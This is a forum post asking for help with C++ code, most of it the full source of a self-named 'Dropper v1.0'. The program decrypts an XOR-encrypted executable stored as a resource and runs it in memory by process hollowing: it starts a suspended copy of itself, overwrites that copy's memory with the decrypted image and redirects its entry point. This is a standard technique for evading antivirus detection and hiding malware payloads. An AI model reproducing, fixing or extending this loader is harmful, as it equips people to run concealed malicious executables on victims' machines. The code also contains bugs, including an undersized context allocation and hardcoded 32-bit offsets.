-
October 28th, 2017, 12:08 AM
#1
Running PE from memory
Hello everyone,
I'm new to C++ and come from a web development background. I've been trying to load encrypted executables to memory, decrypting them in memory and then running them.
I've got partially working code now which is able to run some executables (putty.exe portable version works perfectly for example) but it fails with quite a lot of others.
I've been researching the PE format and I know I've got do some relocations and make sure the import table is correct; i've managed to find solutions but none were readable or worked out of the box; so I've come here looking for some help.
Here is my code:
There's a encrypted hello world program in the resource.h under RC_DATA1; just in case you're wondering.
Code:
#include "resource.h"
#include "stdafx.h"
#include <Windows.h>
#include <iostream>
using namespace std;
// Decrypt the executable
void decryptXOR(char* binary, int size)
{
cout << "[-] Decrypting" << endl;
// Define the key to XOR this ***** with
int xorKey = 169;
cout << "[-] XOR key: " << xorKey << endl;
// Decrypt that b
char unencrypted_char;
for (int i = 0; i < size; i++) {
unencrypted_char = binary[i];
binary[i] = binary[i] ^ xorKey;
}
}
// Run the PE from memory
int RunPE(void* Image)
{
IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase; //Base address of the image
void* pImageBase; // Pointer to the image base
int count;
char CurrentFilePath[1024];
DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
{
ZeroMemory(&PI, sizeof(PI)); // Null the memory
ZeroMemory(&SI, sizeof(SI)); // Null the memory
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current process in suspended state, for the new image.
{
// Allocate memory for the context.
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
{
// Read instructions
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
// Write the image to the process
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
// Move address of entry point to the eax register
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
ResumeThread(PI.hThread); //�Start the process/call main()
return 0; // Operation was successful.
}
}
}
}
// Main method, does not take any arguments
int main()
{
cout << "Dropper v1.0" << endl << endl;
// Load our encrypted.exe which is stored in this file as a resource
HRSRC resource = ::FindResource(GetModuleHandle(NULL), MAKEINTRESOURCE(101), RT_RCDATA);
HGLOBAL resourceData = ::LoadResource(NULL, resource);
unsigned int resourceSize = ::SizeofResource(NULL, resource);
void* lockedResourceData = ::LockResource(resourceData);
// Store the data in a buffer
char* buffer = new char[resourceSize];
memcpy(buffer, lockedResourceData, resourceSize);
// Feedback
cout << "[-] Loaded encrypted data from resource" << endl;
cout << "[-] Size: " << resourceSize << " bytes" << endl;
// Decrypt it in memory
decryptXOR(buffer, resourceSize);
cout << "[-] Unencrypted first 40 bytes: " << endl << "[-] '";
int count = 0;
for (int i = 0; i < 40; i++) {
cout << buffer[i];
}
cout << "'" << endl;
// Run it from memory
RunPE(buffer);
// Finishes
cout << "Finished, have a nice day." << endl;
return 0;
}
Thanks in advance!
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|